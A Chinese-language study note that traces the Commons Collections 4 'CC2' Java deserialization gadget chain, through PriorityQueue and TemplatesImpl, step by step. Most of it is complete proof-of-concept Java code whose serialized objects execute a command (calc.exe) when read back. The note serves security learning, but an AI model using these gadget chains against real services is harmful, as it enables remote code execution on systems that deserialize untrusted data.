java反序列化----CC2利用链学习笔记(PriorityQueue和TemplatesImpl)
PriorityQueue
环境搭建
jdku8
pom.xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
书接
java反序列化----CC1利用链学习笔记(TransformedMap和LazyMap)
利用链
PriorityQueue.readObject()->TransformingComparator.compare()->ChainedTransformer.transform()->InvokerTransformer.transform()
初始的payload:
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
...
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator
然后进入Transformer对象
搜索transform的find usages
发现compare方法调用了transform方法,继续向上find usages
PriorityQueue
在里面找到了readObject方法
其有调用了heapify方法,heapify有调用了siftDown方法,其中for (int i = (size >>> 1) - 1; i >= 0; i--),需要满足传入的size>=2
siftDown调用了siftDownUsingComparator,siftDownUsingComparator又会调用compare方法,然后链子正好就拼接起来了
然后再构造函数这里看到另一个条件
所以初步payload
package cc2;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
import java.io.*;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
//构造恶意利用链
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> queue = new PriorityQueue<>(1,transformingComparator);//值不能<1,所以必须>=1
//必须传入>=两个值才能触发compare,传入的两个值随意
queue.add(1);
queue.add(2);
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
oos.writeObject(queue);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.txt"));
ois.readObject();
}
}
但是发现在序列化的过程中就弹出计算器了
调试追踪
add方法
offer方法
siftUp方法
发现这里也有compare方法,所以在add的时候就提前触发了
所以我们可以可以让add的siftUp提前用一个非恶意Transformer对象给触发了,然后再传入恶意Transformer对象
貌似这里利用反射将size修改为>=2好像不行
Field field = c.getDeclaredField("size");
field.setAccessible(true);
field.set(queue,2);
最终payload
package cc2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_EXP {
public static void main(String[] args) throws Exception {
//提前触发掉siftUpUsingComparator的compare
Transformer[] transformers=new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue<Object> queue = new PriorityQueue<>(1,transformingComparator);//>=1
//size>=2
queue.add(1);
queue.add(2);
//构造恶意利用链
Transformer[] transformers2=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
//通过反射修改ChainedTransformer,替换成恶意链
Class c=ChainedTransformer.class;
Field iTransformersField = c.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer,transformers2);
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
oos.writeObject(queue);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.txt"));
ois.readObject();
}
}
TemplatesImpl
前置知识:Javassist与ClassLoder学习笔记
搜索TemplatesImpl类,进入
进入getTransletInstance,if (_name == null) return null;
,即_name不为null
进入defineTransletClasses,需要满足if (_bytecodes == null)
,即_bytecodes不为null
进入TransletClassLoader,发现其继承了ClassLoader
现在构造链子
首先我们确保_name,_bytecodes不为空,_name可以随便设置,然后看到在这里对_class[_transletIndex]进行实例
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
所以要探寻_transletIndex设置成啥
这个变量默认是-1
继续全局搜索发现在这里能重新赋值
所以要满足 if (superClass.getName().equals(ABSTRACT_TRANSLET)),指父类要等于ABSTRACT_TRANSLET
全局搜索ABSTRACT_TRANSLET,发现其为"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
再查看superClass
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
所以要求_bytecodes[i]的父类(继承自)的是"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
_bytecodes要设置为byte[][]类型,设置为new byte[][]{ctClass}
在这里找到
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
出现了_tfactory,而这个值默认为null,所以要设置值,根据其类型设置为"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"
所以一部分payload
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
然后通过反射设置值
byte[] byteCode = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field f1 = c.getDeclaredField("_name");
f1.setAccessible(true);
f1.set(templates,"test");
Field f2 = c.getDeclaredField("_bytecodes");
f2.setAccessible(true);
f2.set(templates,new byte[][]{byteCode});
Field f3 = c.getDeclaredField("_tfactory");
f3.setAccessible(true);
f3.set(templates,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
然后再用PriorityQueue链触发readObject
最终EXP:
给出两个模板代码
package cc2;
import javassist.ClassPool;
import javassist.CtClass;
public class TempChain {
public static void main(String[] args) throws Exception{
final byte[] byteCode = TempChain.makeByteCode();
}
public static byte[] makeByteCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
return ctClass.toBytecode();
}
}
package cc2;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
public class MyTemplate extends AbstractTranslet implements Serializable {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
payload:
package cc2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_EXP2 {
public static void main(String[] args) throws Exception{
//生成模板
TemplatesImpl templates = (TemplatesImpl) CC2_EXP2.makeTemp();
//构造利用链
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(1,comparator);
Class c = queue.getClass();
Field f1 = c.getDeclaredField("queue");
f1.setAccessible(true);
f1.set(queue,new Object[]{templates,"test"});//模板,随便赋值
//size>=2
Field f2 = c.getDeclaredField("size");
f2.setAccessible(true);
f2.set(queue,2);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2.txt"));
ois.readObject();
}
public static Object makeTemp() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
byte[] byteCode = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field f1 = c.getDeclaredField("_name");
f1.setAccessible(true);
f1.set(templates,"test");//随便赋值
Field f2 = c.getDeclaredField("_bytecodes");
f2.setAccessible(true);
f2.set(templates,new byte[][]{byteCode});
Field f3 = c.getDeclaredField("_tfactory");
f3.setAccessible(true);
f3.set(templates,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
return templates;
}
}
参考文章
https://xz.aliyun.com/t/10387#toc-3
https://chenlvtang.top/2021/12/11/Java反序列化之CC2/
https://cjlusec.ldxk.edu.cn/2023/02/15/cc2/
https://paper.seebug.org/1656/